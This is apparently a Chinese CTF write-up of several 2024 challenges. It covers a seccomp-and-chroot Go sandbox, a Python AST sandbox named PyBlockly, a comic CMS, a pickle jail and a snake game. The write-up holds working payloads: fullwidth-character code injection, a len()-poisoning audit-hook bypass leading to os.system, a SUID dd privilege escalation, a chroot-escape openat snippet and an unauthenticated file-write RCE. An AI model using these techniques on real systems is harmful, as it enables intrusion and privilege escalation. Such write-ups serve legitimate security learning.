前言
好饿,早知道不打web了
参考:
https://mp.weixin.qq.com/s/vV_II8TpyaGL4HUlUS57RQ
https://blog.wm-team.cn/index.php/archives/85/#EzCalc
http://blog.yllhwa.com/qwb-2024-proxy-revenge-wp/
misc-givemesecret
输入
print the string 1+{{secret}} as python
playground(Unsolved)
是 Seccomp 开的内核沙箱
sandbox.c里面ban了一堆系统调用
['openat2', 'chroot', 'chmod', 'fchmod', 'chown', 'fchown', 'lchown', 'symlink', 'ioctl', 'ptrace', 'mount', 'setuid', 'setgid', 'setsid', 'setfsuid', 'setfsgid', 'setresuid', 'setresgid', 'setpgid', 'setreuid', 'setregid', 'getpid', 'getppid', 'fork', 'chdir', 'link', 'creat']
@app.post('/api/run')
def run():
code = request.json['code']
dirname = os.urandom(24).hex()
os.mkdir(f'/tmp/{dirname}')
with open(f'/tmp/{dirname}/main.go', 'w') as f:
f.write(code)
ret = os.system(f'cd /tmp/{dirname}/ && go mod init playground && go build')
if ret != 0 or not os.path.exists(f'/tmp/{dirname}/playground'):
os.system(f'rm -rf /tmp/{dirname}')
return jsonify({'status': 'error'})
prog = open(f'/tmp/{dirname}/playground', 'rb').read()
os.system(f'rm -rf /tmp/{dirname}')
output = run_in_sandbox(prog)
return jsonify({'status': 'success', 'data': base64.b64encode(output).decode()})
列出目录:
package main
import (
"fmt"
"io/ioutil"
)
func main() {
dirPath := "/"
files, err := ioutil.ReadDir(dirPath)
if err != nil {
}
fmt.Printf(dirPath)
for _, file := range files {
if file.IsDir() {
fmt.Printf(file.Name())
} else {
fmt.Printf(file.Name())
}
}
}
发现只有一个 prog 文件,应该是 chroot 了一个根目录
尝试读取
package main
import (
"fmt"
"os"
"syscall"
)
func main() {
// 打开一个文件
file, err := os.Open("/prog")
if err != nil {
fmt.Println("Error opening file:", err)
return
}
defer file.Close()
// 读取文件内容
buffer := make([]byte, 1024)
n, err := syscall.Read(int(file.Fd()), buffer)
if err != nil {
fmt.Println("Error reading file:", err)
return
}
// 输出读取的内容
fmt.Printf("Read %d bytes: %s\n", n, buffer[:n])
}
读不下来
命令执行
package main
import (
"fmt"
"os"
"os/exec"
)
func main() {
cmd := exec.Command("ls")
cmd.Stdout = os.Stdout
cmd.Stderr = os.Stderr
err := cmd.Run()
if err != nil {
fmt.Println(err)
}
}
回显exec: "ls": executable file not found in $PATH
,果然不行
总之是开了个沙盒
环境变量
package main
import (
"fmt"
"os"
)
func main() {
for _, env := range os.Environ() {
fmt.Println(env)
}
}
HOSTNAME=engine-1
ECI_CONTAINER_TYPE=normal
SHLVL=1
HOME=/root
OLDPWD=/app
GPG_KEY=E3FF2839C048B25C084DEBE9B26995E310250568
PYTHON_SHA256=6b281279efd85294d2d6993e173983a57464c0133956fbbb5536ec9646beaf0c
GOROOT=/go
GO111MODULE=on
TERM=xterm
USERNAME=
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/go/bin
LANG=C.UTF-8
GOPATH=/tmp/go
GOPROXY=https://goproxy.cn,direct
GOCACHE=/tmp/go/cache
PYTHON_VERSION=3.9.20
PWD=/sandbox
PASSWORD=
没思路
我们的go文件执行的位置和沙盒不在一个目录下,不然可以用 embed 读取 sandbox.key
package main
import (
_ "embed"
"fmt"
)
//go:embed sandbox/sandbox.key
var key []byte
func main() {
fmt.Println(string(key))
}
关于 Seccomp 的内容:https://blog.csdn.net/weixin_45030965/article/details/136299348
我们可以在本地的 dokcer 环境里先测试,翻一下有哪些系统调用
cat /usr/include/bits/syscall.h
对照一下前面ban掉的系统调用
['openat2', 'chroot', 'chmod', 'fchmod', 'chown', 'fchown', 'lchown', 'symlink', 'ioctl', 'ptrace', 'mount', 'setuid', 'setgid', 'setsid', 'setfsuid', 'setfsgid', 'setresuid', 'setresgid', 'setpgid', 'setreuid', 'setregid', 'getpid', 'getppid', 'fork', 'chdir', 'link', 'creat']
看看还有什么没挂掉:
['read', 'write', 'open', 'close', 'stat', 'fstat', 'lstat', 'poll', 'lseek', 'mmap', 'mprotect', 'munmap', 'brk', 'rt_sigaction', 'rt_sigprocmask', 'rt_sigreturn', 'pread64', 'pwrite64', 'readv', 'writev', 'access', 'pipe', 'select', 'sched_yield', 'mremap', 'msync', 'mincore', 'madvise', 'shmget', 'shmat', 'shmctl', 'dup', 'dup2', 'pause', 'nanosleep', 'getitimer', 'alarm', 'setitimer', 'sendfile', 'socket', 'connect', 'accept', 'sendto', 'recvfrom', 'sendmsg', 'recvmsg', 'shutdown', 'bind', 'listen', 'getsockname', 'getpeername', 'socketpair', 'setsockopt', 'getsockopt', 'clone', 'vfork', 'execve', 'exit', 'wait4', 'kill', 'uname', 'semget', 'semop', 'semctl', 'shmdt', 'msgget', 'msgsnd', 'msgrcv', 'msgctl', 'fcntl', 'flock', 'fsync', 'fdatasync', 'truncate', 'ftruncate', 'getdents', 'getcwd', 'fchdir', 'rename', 'mkdir', 'rmdir', 'unlink', 'readlink', 'umask', 'gettimeofday', 'getrlimit', 'getrusage', 'sysinfo', 'times', 'getuid', 'syslog', 'getgid', 'geteuid', 'getegid', 'getpgrp', 'getgroups', 'setgroups', 'getresuid', 'getresgid', 'getpgid', 'getsid', 'capget', 'capset', 'rt_sigpending', 'rt_sigtimedwait', 'rt_sigqueueinfo', 'rt_sigsuspend', 'sigaltstack', 'utime', 'mknod', 'uselib', 'personality', 'ustat', 'statfs', 'fstatfs', 'sysfs', 'getpriority', 'setpriority', 'sched_setparam', 'sched_getparam', 'sched_setscheduler', 'sched_getscheduler', 'sched_get_priority_max', 'sched_get_priority_min', 'sched_rr_get_interval', 'mlock', 'munlock', 'mlockall', 'munlockall', 'vhangup', 'modify_ldt', 'pivot_root', '_sysctl', 'prctl', 'arch_prctl', 'adjtimex', 'setrlimit', 'sync', 'acct', 'settimeofday', 'umount2', 'swapon', 'swapoff', 'reboot', 'sethostname', 'setdomainname', 'iopl', 'ioperm', 'create_module', 'init_module', 'delete_module', 'get_kernel_syms', 'query_module', 'quotactl', 'nfsservctl', 'getpmsg', 'putpmsg', 'afs_syscall', 'tuxcall', 'security', 'gettid', 'readahead', 'setxattr', 'lsetxattr', 'fsetxattr', 'getxattr', 'lgetxattr', 'fgetxattr', 'listxattr', 'llistxattr', 'flistxattr', 'removexattr', 'lremovexattr', 'fremovexattr', 'tkill', 'time', 'futex', 'sched_setaffinity', 'sched_getaffinity', 'set_thread_area', 'io_setup', 'io_destroy', 'io_getevents', 'io_submit', 'io_cancel', 'get_thread_area', 'lookup_dcookie', 'epoll_create', 'epoll_ctl_old', 'epoll_wait_old', 'remap_file_pages', 'getdents64', 'set_tid_address', 'restart_syscall', 'semtimedop', 'fadvise64', 'timer_create', 'timer_settime', 'timer_gettime', 'timer_getoverrun', 'timer_delete', 'clock_settime', 'clock_gettime', 'clock_getres', 'clock_nanosleep', 'exit_group', 'epoll_wait', 'epoll_ctl', 'tgkill', 'utimes', 'vserver', 'mbind', 'set_mempolicy', 'get_mempolicy', 'mq_open', 'mq_unlink', 'mq_timedsend', 'mq_timedreceive', 'mq_notify', 'mq_getsetattr', 'kexec_load', 'waitid', 'add_key', 'request_key', 'keyctl', 'ioprio_set', 'ioprio_get', 'inotify_init', 'inotify_add_watch', 'inotify_rm_watch', 'migrate_pages', 'openat', 'mkdirat', 'mknodat', 'fchownat', 'futimesat', 'newfstatat', 'unlinkat', 'renameat', 'linkat', 'symlinkat', 'readlinkat', 'fchmodat', 'faccessat', 'pselect6', 'ppoll', 'unshare', 'set_robust_list', 'get_robust_list', 'splice', 'tee', 'sync_file_range', 'vmsplice', 'move_pages', 'utimensat', 'epoll_pwait', 'signalfd', 'timerfd_create', 'eventfd', 'fallocate', 'timerfd_settime', 'timerfd_gettime', 'accept4', 'signalfd4', 'eventfd2', 'epoll_create1', 'dup3', 'pipe2', 'inotify_init1', 'preadv', 'pwritev', 'rt_tgsigqueueinfo', 'perf_event_open', 'recvmmsg', 'fanotify_init', 'fanotify_mark', 'prlimit64', 'name_to_handle_at', 'open_by_handle_at', 'clock_adjtime', 'syncfs', 'sendmmsg', 'setns', 'getcpu', 'process_vm_readv', 'process_vm_writev', 'kcmp', 'finit_module', 'sched_setattr', 'sched_getattr', 'renameat2', 'seccomp', 'getrandom', 'memfd_create', 'kexec_file_load', 'bpf', 'execveat', 'userfaultfd', 'membarrier', 'mlock2', 'copy_file_range', 'preadv2', 'pwritev2', 'pkey_mprotect', 'pkey_alloc', 'pkey_free', 'statx', 'io_pgetevents', 'rseq', 'pidfd_send_signal', 'io_uring_setup', 'io_uring_enter', 'io_uring_register', 'open_tree', 'move_mount', 'fsopen', 'fsconfig', 'fsmount', 'fspick', 'pidfd_open', 'clone3', 'close_range', 'pidfd_getfd', 'faccessat2', 'process_madvise', 'epoll_pwait2', 'mount_setattr', 'landlock_create_ruleset', 'landlock_add_rule', 'landlock_restrict_self', 'memfd_secret', 'process_mrelease', 'futex_waitv', 'set_mempolicy_home_node', 'cachestat', 'fchmodat2']
能读能写,测试发现目录没有写权限,毕竟根目录被 chroot 改了也没办法
前面我们读到 chroot 目录下留了个 prog 文件,尝试用系统调用读取
package main
import (
"fmt"
"os"
"syscall"
)
func main() {
// 打开一个文件
file, err := os.Open("/prog")
if err != nil {
fmt.Println("Error opening file:", err)
return
}
defer file.Close()
// 读取文件内容
buffer := make([]byte, 1024)
n, err := syscall.Read(int(file.Fd()), buffer)
if err != nil {
fmt.Println("Error reading file:", err)
return
}
// 输出读取的内容
fmt.Printf("Read %d bytes: %s\n", n, buffer[:n])
}
返回 malformed URI sequence,其实是返回了一个很大的结果导致截断,可以抓包看看
结合题目的app.py
def run_in_sandbox(prog):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('localhost', 2077))
chall = bytearray(s.recv(1024))
for i in range(len(chall)):
chall[i] ^= key[i % len(key)]
prog = bytearray(prog)
for i in range(len(prog)):
prog[i] ^= key[i % len(key)]
options = 52
pkt = io.BytesIO()
pkt.write(struct.pack('<II', len(prog) + len(chall), options))
pkt.write(chall)
pkt.write(prog)
s.send(pkt.getvalue())
output = io.BytesIO()
while True:
try:
data = s.recv(1024)
if not data:
break
output.write(data)
except:
break
s.close()
return output.getvalue()
可以知道这个 prog 就是我们传入的代码,app.py 会发送数据包到 2077 端口上,即这里的 sandbox
而 app.py 发送的 prog 数据都是 XOR 过 key 的,我们首先需要想办法获取 /sandbox/sandbox.key
因为这里建立了一个 connection ,在系统调用中没被 close,那么这个 connection
会一路继承到我们要执行的 /prog
,并且如果还有其它有效的 connection
的话,也会一起继承下去。什么意思呢,就是发送的数据包内容会存在于 prog 中,这个数据包的内容可能存在上一次数据包被截断的部分
prog 的数据已知,所以截获到加密后的数据可以还原 key,先写个 go 程序,把全部 fd 都 recv 一遍
package main
import (
"fmt"
"os"
"os/signal"
"syscall"
)
func main() {
sigc := make(chan os.Signal, 1)
signal.Notify(sigc, syscall.SIGALRM)
go func() { _ = <-sigc; os.Exit(1); }()
syscall.Syscall(syscall.SYS_ALARM, 1, 0, 0)
buf := make([]byte, 12345)
for i := 0; i < 100; i++ {
for true {
n, _, err := syscall.Recvfrom(i, buf, 0)
if err != nil || n == 0 {
break
}
if n != 12345 {
fmt.Printf("%d: (%d) %x\n", i, n, buf[:n])
}
}
}
}
多次重启靶机尝试竞争后 dump 出一个数据包
4: (3807) 6f7f43d654ddc2d697edf05a7a61ebd2177fa5497d2a71fc4b8621341ed983817b72490db9e2c46c5c09784935e81fbc681ad40cabfc868ca77e60e9b26ee80d63b26d191e748213d036f19b3bd8a25b6b5bacd6153ed5530400ff8946d635be7c053a36bda6cb3dd6ea207811b0eea4191ad4aa878abf8cbffc7aa2c6d15ec837c131d80cab8a5f5de1f0e71fb8a65b435b9cd61536d57b00002789b6d983c53ceaa90d49a6cb7d68a47c2902712fbc17125251f3f81dac583f6181c8d05ecca981f497dbaa5217d47a91c3d627159a96bb749a9c6aacc0473edbff5654bffb3cee4ad1b12dfc35a5db5c177270d7bc985edb1d4748be0e6e0e7e2c2b491245608c4c8e784585e92ea1396dfdda9f7a5ff49cdad4e98f0b48fd3ea2a991d18dfdad7d26566c83fee6d5600e71e12b1bc9564b555e10be0ae3ee1bcab8c15acee4edd5559323c2d4098d41d3b044ce62177fecd61726d523a1d25c52e19d8c7314327cd63aee48ba306029ef737a989007d3b9e22827b08ca6222ce03d3d1332688bbb518d271ab489e8f9673ed768d5157fecd61536d52b0c01c78900950a5150eb3529f9ee42c104ad280d3abd6c2e63569aeb12d082865537df4adf8999152881f65f18508617d4513112c8273bdda133c885d46552cb0886316b565207e1dc633529b12d9f591865a3911e496398081650a1f358f6831047bb69f14a5e614085f6c1b7ab8a5f5de5f2c71ff0aedda11bc884dde3044bc33d873d1ed98380f91e376f719ad5382f9bc544b90461978b06da1dd7913766154abbcd99f15cce1ce5355a8c638a16de567194be5dead2173567d6b02ab98a8ac12a755650502dd7bfcad6b12d9f591065a1492eb92b5f4c4a931dd7d8f6cb9d763ae930799a4560c935dce737da17d4d56dc373536ef6bf7fec9a93dcbd2757c128f93ae1cb4ee8478529f9a683f69409b80d3af92b13b47a5b1dd7d8b70ad84ab9ed99e15ecef4edf5559323c6d4018d51df346e8ef6093367f6b85abf8834a5e3ec9adecd4e384f7d687a47cc3aa8092743b1b54fc844d5bc159b53c9ce99673a2280d4d55360c909479c3c8ab7864c7c9b7651d19b9c76a513d762bc8a71c128fd26930899583b79a028ee42adc8b74f083ab1e8cc2c6e93e293ccbecb934226f1ad8999d944617d55932c3c2c0ce178ef2f80a25bcf705ad6b875b9881cad9be59545a775746335617212efed202d2845b1454718085edb5c5e10ba085c2212ed365536cd60c97d19187fae77b4798464c494633aae7dec9a9c821ceb4d89eb201b5de4cf74d83829f9a65b95db5a2d0daab1eadc2c5693948bfce6cb994a16b95567d5406081f611b72bc2d4018d69d3b094cecafe8d176563a63dcf84456f61d2154f09b8aff9e5356a072868a4cd45b91543d08316d3555e1fbe0ac837e9491ac41245284ab975cee0460a15209cd3b834ca9a9c2fe4d215adb98a90c12a665650522df7663529b1250f5d7deee4c1f635af54c49217d11b143a4fdccafe6d710dde89ac05b1995fef460a15209cd3b834ca9a9e0bc8ca1c574dc65e89a3d95e91060500587daa81aecb091465abf2328b4dd08102ff259f51baa7504ebbdd99895accb881f49edbaa736ea241609e3bd8a2595b5bacd21736d53b0002df8956910a1d3ceafe61705f5b955bdc2d0d727237bc586f1bf6d49009435885caa8c0b25acca181bcad90451a17de517be8545ce89a9eb4a4197f92b98a86c18a73116f1fc77c623529f6b9cb35a5db54467270abd081af641cd7d8f650f74eb1589dd8e4649789f98ae78cc2d4416bfaa63d1dfcd2170bf8725389f4030100b8e5956d41057463356070d5c335a9b1eacd3af963738c1658d9f785356b5b1330a104c3124560213cb296231a0a15209cd3b834ca522abe288c9c6a85290002eba5565c4ab1552bbc6ddd9683f47c091045b33e2b11d06f00f5f8dcf683588d76858d89991944f135de9b6b03871520b273ac35efd25ffc28bac1a93dcf84456f61d2154f09b8aff9e5356a072868a4cd45b9155bd0811aff559f51aaa7404ebbed99995ace30a135dee33bc276aeedf2db6791e57dcf372d71bc22feac92c1a25e5650dfe144f33a36bda6cb957b2d280d727217bc58165049f3e8bebac6732ae93695361d2c423171db451a1664f811ee309069162f222fd2173ed55b010052e43700cf48705179a037c05b959b2c280d727aa7a0559d17d11b143a4fdccafe6d710dde89ac05b1995fef460a15209cd3b834fadda12f8e6c5e6b84680008dbc51edb83c50227e5c3f6b9cbf9f2592445b3232b131a1658dedf33facb9b96aaa1bdc15ac0b2bd6e1d1851aa17d6a73112e39063055ffc288ac1a9c0c3000060e59718b23a3ce0f139a46583f47c0900e58df0639840d58739ff907f4221f97a28658991817094be64536b039c1520b8aac490691607222f5650a63dcf84456f61d2154f09b8aff9e5356a0735a9510c2dd1ff2f11c11252de9f5d3f8c95cd32a1bd8997ba6f4dc9559323c2d2cea97b9b3b9461951f36ed5ad053337143c528aa52d8438dfda2de2fb12f0a35a9fd6034fc8f1ed0819c93341f90376b164abf23bdc3124528ca3a75dfa88213646f0acb72513a9a3e8da41b5e6af30348c162471d910a0d3ceae46843a7cb7d2064fbef720ebad485041b542003be00ea467ab86f88339729442faadbf06816de5239d6220aa6f3c5371b48d54b20ea1a765c5256504b8cfdb33a36bda6cb9462d2d7f20b392b11cb1652dce627be0ad6c50361f548d10de9084caadbaa4c9c15a6c54a73d751035ff2d8495fa63dcf84456f61d2154f09b8aff9e5356a072868a4cd45b38547b040d3cf2e9ee1268c969033a1bd8997ba6f4d6d549323c6d452e5405549eda2fbd433618e822774ca470d22ac1ed9cb4cb52fbcf9b12f184cf264dffc73f6cc5940d3cf159ff130cb91e0325f423e5a44b6226d1d12c58aa1a256319ae59063015ff62ed31598b92a9ec19ada16aea68975a93a36bda6cb3419fd5e01727214b840d5ed555e081dc321c67a287e899b8451362096dbe264591180aad3fa33e99a9ea6ad239d6af103015a42e51daea38df79a7564e07d865cf964dfd476da6dd48190939407947f515c8bb8a1bfc1120859010e1fdbaa5b137468311afad8e8d217372d739f2b49024889a3e4cd39ca4cbd2ac2f0b52b9abd69daf245b90023d51185963c0f91094b5c8ffbe86e215bc69a89304c5a6eab97145ea9d71a1ea25bc437656bc1a9b9c2a68aeb24d4910a3435da3429f9a682aec161a59e3afb639840dd225d9fc100ca31f77b56648d338f2df0ad26da6b03861180b8d3ba19ead0177fa45b75694f024889a3e5cd3fca4cbc2ac2f1b52b82bd69daf145b90023d5118c973c0190094d5c8ff3e96e275bc69989304c536fab99155eafd31a2aa25bc6222fab5c2278c00000629ce184402d37723729696a072868a4cd45b91503d0818493141590ff4958f1f0a6bdc1124ae5ba7e5593a3b7149dbf799b345cc7d3177fa4209c6af1034809a3ad56d8418db5892fb9f6b9cb35a1d7280d7af9119c398c302e9b53f3e7441032e039c15bce7419724ad7238a17d87b0d8f72512a9bd697e1db1d8a0e1c4889e9260a1b68c245b13a36bda6cb35a5ff5d2c727276bcb54adb55520a828a5c8d30e936931aae65f8af10a2e3bba9b4e77b9b3b48ae58551cad1a646b840f00b0e1b569dfcbfc3613422fb1250f1d7dee60847edd13d08102ff659f517aa7900632a1f04a54752d42fd8593238a13d4ed5dc37a5cea9a928098afd865474c5fc8556c5eaca9cac2315726e6e6cb8be22c5c050b2b526e39a130139f53a1a3804eb9b3f548c40de90b34dc42451ab476e1f05873513a3ac4851365d0e1b52710c12a635650598cfda27da2bd82bb35aba10c8d3af963d08302ff659f5d2d8c942033a1bd2a520de30d1d08506e01fc2dbb799b76510f9b94bafcd715c181114889ee261e940ac1502ebe2bb42f8f592865a1c37270b9d1819f939693fc86cb9b8a1621bdc11209edcd7c1d1af0c6d695e1f06a77512c3a84841365d4ef070ccc06a3ad1e91089150137ca009eee2ab6ca6642942b4ee8c39125041f380bb08b37620a1bd8891817059724ad7238a12640a01893bd8e55166801365d4e38d2718c12ae93ae1cb4c2847056170eaef556ca46c2972b5eacc2c1e33ad37d9f6cb9b421699f54a5e614881f601b753c2d4018d49d3b0a4ce825bf4a8bed4267a4f6cf1ef264afdc389ff3f1171f6b9cb9439d2d7f2727aa7f8559d979655a8e483104bbb63f442d04d2c40ef2581238a13d6bf34122b90631c5ff636d315abb9880cadd3e59555a7457463356574a2ca35a9fe6484f2b1ea6944d71df57822097c5883c4d512899911449131de1153985f5de0fa5b3348a6eb9507fe9a9c196a4bc1c587955650dfe1442bbc55ddf683f464090045b38d47d0e0ac041cd7907dc7342e7a2af1e52a0deb9d590ddba8d67b6de1f2ef1f90a2596b5bbc73c6950efc007665e5272bfdf739e839d9b42d5aad202d28410329117041675ac5d7d8f6f5cf4ebb66f1e8c50ceb785d5793231ab7a6a2799b735b2eb24abca41189144b1748c1267f6ad2cf4e762bbe7bf1c05b96251cfa480b39526ee35d93e21190cf716e3e7f2ab1315fcef1297d5593451a1364790b7d72e16b3a177fecec412278c404a074e49568b3c774633a36bda6cb95bb26280d727aa7f8559d939e13b8ab40588b377305cb12fe48c97d559c3c8ab706c77c9bab14261edbb3205650a63dcf84456f61d2154f09b8aff9e5356a072868a4cd45b91503d0818493141490ff4858f1f1a6bdc1124ae5647c5593a3b7d4e1bf799b345c39d2177fa111da5abc88c859a3ad1e9807c53dda3529f9a6cbfd202d610cfbb0a27112ce929c2ed8f6c3107437e48c08f9692c4268cdc3358a1ed9ab36103712a757de0bfad215a9b9c2a084865201d98388ff6ff461707e5b96236819c4727027bc78165249f398be0a9c22b2a1bdc15ecc24ed255a8c638a17d8560db47fd75c85003e1a58dc1fd546473feacf5f2f42c4006a04f2bc97024cdfc62341b1b6430845d5d2555e1bbe0aceed6ee934025ecca8211ca26cdcc2d4098d39d7b09cce8a5ef625d215acb9880cadd3e59555a745746335c2cbee48b94070eb40b163138a085e96940b917547184bbb03cdd312452d425c181a00c3d694e1f05d73513a9a9cf3c81a9c6af14bc59da2e59729cf4cbd2bbcfff6b9cb951bd5d7f2727c95ec73165049f3a8beaac64ab9e599815cc86ccf31dec707d212d63309893bd8a351d4777cd7a5f089114889d0225650c7
app.py 发送数据似乎是以 0x10000 的长度分包的,所以 http 接收到的不完整的数据大概率是 0x10000 边界末尾的数据
拿截获到的数据和 prog 相应位置的数据 XOR 一下,就能还原出 key 了
(但是我爆破了半天数据位置还是没爆出key。。)
因为sandbox程序中进行了 chroot,需要逃逸从而 open 获取 flag
这里我们控制了 prog 的内容,可以利用 go 程序跟 sandbox 进行交互,然后将 option 设置为1,就可以利用 ptrace 和 mount 之类的进行 chroot 逃逸了
package main
import (
"bufio"
"bytes"
"encoding/binary"
"encoding/hex"
"fmt"
"os"
"syscall"
"unsafe"
)
func main() {
key, err := hex.DecodeString("<key>")
exe, err := hex.DecodeString("<prog ELF>")
socket, err := syscall.Socket(syscall.AF_INET, syscall.SOCK_STREAM, 0)
var addr syscall.SockaddrInet4
addr.Port = 2077
addr.Addr = [4]byte{127, 0, 0, 1}
err = syscall.Connect(socket, &addr)
chall := make([]byte, 0x40)
n, _, err := syscall.Recvfrom(socket, chall, 0)
for i, b := range key {
chall[i] ^= b
}
for i, _ := range exe {
exe[i] ^= key[i % len(key)]
}
var buf bytes.Buffer
writer := bufio.NewWriter(&buf)
binary.Write(writer, binary.LittleEndian, int32(len(exe) + len(chall)))
binary.Write(writer, binary.LittleEndian, int32(48))
writer.Write(chall)
writer.Write(exe)
writer.Flush()
syscall.Sendto(socket, buf.Bytes(), 0, nil)
buf2 := make([]byte, 1024)
for true {
n, _, err := syscall.Recvfrom(socket, buf2, 0)
if err != nil || n == 0 {
break
}
fmt.Printf("%x\n", buf2[:n])
}
}
逃逸部分或许可以参考:https://xuanxuanblingbling.github.io/ctf/pwn/2019/10/15/sandbox/
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
int main(){
char buf[100]={};
int fd1 = openat(3,"../../../../../flag",0);
read(fd1,buf,100);
write(1,buf,100);
printf("[+] from server\\n");
}
PyBlockly
是基于ast的沙箱
核心部分
def my_audit_hook(event_name, arg):
blacklist = ["popen", "input", "eval", "exec", "compile", "memoryview"]
if len(event_name) > 4:
raise RuntimeError("Too Long!")
for bad in blacklist:
if bad in event_name:
raise RuntimeError("No!")
__import__('sys').addaudithook(my_audit_hook)
目的是构造出print(__builtins__.open('/flag').read())
那么利用点就是这里了
blacklist_pattern = r"[!\"#$%&'()*+,-./:;<=>?@[\\\]^_`{|}~]"
elif block_type == 'text':
if check_for_blacklisted_symbols(block['fields']['TEXT']):
code = ''
else:
code = "'" + unidecode.unidecode(block['fields']['TEXT']) + "'"
测试发现可以用全角字符绕过,unidecode 会转回半角字符
');print(open("/proc/1/environ").read())#
\uFF07\uFF09\uFF1B\u0070\u0072\u0069\u006E\u0074\uFF08\u006F\u0070\u0065\u006E\uFF08\uFF02\uFF0F\u0065\u0074\u0063\uFF0F\u0070\u0061\u0073\u0073\u0077\u0064\uFF02\uFF09\uFF0E\u0072\u0065\u0061\u0064\uFF08\uFF09\uFF09\uFF03
发现不能直接读取flag,那还是要rce
那就要绕这个
blacklist = ["popen", "input", "eval", "exec", "compile", "memoryview"]
if len(event_name) > 4:
raise RuntimeError("Too Long!")
参考:https://xz.aliyun.com/t/12647#toc-39
可以污染 len 函数使其返回的值固定为1来绕过长度检测
然后构造绕过hook blacklist
__builtins__.len=lambda x:1;[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'_sitebuiltins." in str(x) and not "_Helper" in str(x) ][0]["sys"].modules["os"].system('ls / -lh')
shell没弹成功,那就直接rce
find suid一下
find / -perm -u=s -type f 2>/dev/null
dd 提权读取flag即可
dd if=/flag
xiaohuanxiong
小涴熊漫画CMS,官方源码已经删库了,连文档都没了,找了个别人fork的库 https://github.com/forkable/xiaohuanxiong
ThinkPHP V5.1.35 LTS
发现 /search?keyword= 存在sql注入,但是写不进shell
扫 admin 时发现 admin/admins 存在未授权访问
审代码发现 admin 里有file_put_contents
的部分
application/admin/controller/Payment.php
//支付配置文件
public function index()
{
if ($this->request->isPost()) {
$content = input('json');
file_put_contents(App::getRootPath() . 'config/payment.php', $content);
$this->success('保存成功');
}
$content = file_get_contents(App::getRootPath() . 'config/payment.php');
$this->assign('json', $content);
return view();
}
输入可控,直接rce
刷新得到flag
misc-pickle_jail(Unsolved)
from io import BytesIO
from os import _exit
from pathlib import Path
from pickle import Pickler, Unpickler
from sys import stderr, stdin, stdout
from time import time
from faker import Faker
Faker.seed(time())
fake = Faker("en_US")
flag = Path("flag").read_text()
def print(_):
stdout.buffer.write(f"{_}\n".encode())
stdout.buffer.flush()
def input(_=None, limit: int = -1):
if _:
print(_)
_ = stdin.buffer.readline(limit)
stdin.buffer.flush()
return _
def bye(_):
print(_)
_exit(0)
players = [fake.unique.first_name().encode() for _ in range(50)]
print("Welcome to this jail game!")
print(f"Play this game to get the flag with these players: {players}!")
name = input("So... What's your name?", 300).strip()
assert name not in players, "You are already joined!"
print(f"Welcome {name}!")
players.append(name)
biox = BytesIO()
Pickler(biox).dump(
(
name,
players,
flag,
)
)
data = bytearray(biox.getvalue())
num = input("Enter a random number to win: ", 1)[0]
assert num < len(data), "You are not allowed to win!"
data[num] += 1
data[num] %= 0xFF
del name, players, flag
biox.close()
stderr.close()
try:
safe_dic = {
"__builtins__": None,
"n": BytesIO(data),
"F": type("f", (Unpickler,), {"find_class": lambda *_: "H4cker"}),
}
name, players, _ = eval("F(n).load()", safe_dic, {})
if name in players:
del _
print(f"{name} joined this game, but here is no flag!")
except Exception:
print(f"What happened? IDK...")
finally:
bye("Break this jail to get the flag!")
pickletools 解析一下字节串,对照参考文章
0: \x80 PROTO 4
2: \x95 FRAME 554
11: C SHORT_BINBYTES b'1'
14: \x94 MEMOIZE (as 0)
15: ] EMPTY_LIST
16: \x94 MEMOIZE (as 1)
17: ( MARK
18: C SHORT_BINBYTES b'David'
25: \x94 MEMOIZE (as 2)
...
468: C SHORT_BINBYTES b'Gerald'
476: \x94 MEMOIZE (as 51)
477: h BINGET 0
479: e APPENDS (MARK at 17)
480: \x8c SHORT_BINUNICODE 'jail{they_talk_about_integer_overflow_but_i_dont_think_this_is_what_they_meant}'
561: \x94 MEMOIZE (as 52)
562: \x87 TUPLE3
563: \x94 MEMOIZE (as 53)
564: . STOP
highest protocol among opcodes = 4
0: \x80 PROTO 4
2: \x95 FRAME 87
11: K BININT1 1
13: \x8c SHORT_BINUNICODE 'jail{they_talk_about_integer_overflow_but_i_dont_think_this_is_what_they_meant}'
94: \x94 MEMOIZE (as 0)
95: \x86 TUPLE2
96: \x94 MEMOIZE (as 1)
97: . STOP
highest protocol among opcodes = 4
SHORT_BINUNICODE:
バイト列の長さ
--
8C 03 70 6F 67
-- --------
命令 文字列
。。。看不懂了
snake
const canvas = document.getElementById('gameCanvas');
const ctx = canvas.getContext('2d');
let snake = [];
let food = {};
let score = 0;
function draw() {
ctx.clearRect(0, 0, canvas.width, canvas.height);
// 绘制蛇
ctx.fillStyle = '#00ff00';
snake.forEach(segment => {
ctx.fillRect(segment[0] * 20, segment[1] * 20, 20, 20);
});
// 绘制食物
ctx.fillStyle = '#ff0000';
ctx.fillRect(food.x * 20, food.y * 20, 20, 20);
// 显示分数
document.getElementById('score').innerText = `Score: ${score}`;
}
function update() {
fetch('/move', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({ direction: currentDirection })
})
.then(response => response.json())
.then(data => {
if (data.status === 'game_over') {
alert(`Game Over! Your score: ${data.score}`);
reset_game();
}else if (data.status === 'win') {
window.location.href = `${data.url}`;
}else {
snake = data.snake;
food = { x: data.food[0], y: data.food[1] };
score = data.score;
draw();
}
});
}
let currentDirection = 'RIGHT';
document.addEventListener('keydown', event => {
switch (event.key) {
case 'ArrowUp':
currentDirection = 'UP';
break;
case 'ArrowDown':
currentDirection = 'DOWN';
break;
case 'ArrowLeft':
currentDirection = 'LEFT';
break;
case 'ArrowRight':
currentDirection = 'RIGHT';
break;
}
});
function reset_game() {
fetch('/move', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({ direction: 'RIGHT' })
})
.then(response => response.json())
.then(data => {
snake = data.snake;
food = { x: data.food[0], y: data.food[1] };
score = data.score;
draw();
setInterval(update, 100);
});
}
// 初始化游戏
reset_game();
直接重写函数输出data.url
function update() {
fetch('/move', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({ direction: currentDirection })
})
.then(response => response.json())
.then(data => {
if (data.status === 'game_over') {
alert(`Game Over! Your score: ${data.score}`);
reset_game();
}else if (data.status === 'win') {
window.location.href = `${data.url}`;
}else {
snake = data.snake;
food = { x: data.food[0], y: data.food[1] };
score = data.score;
draw();
}
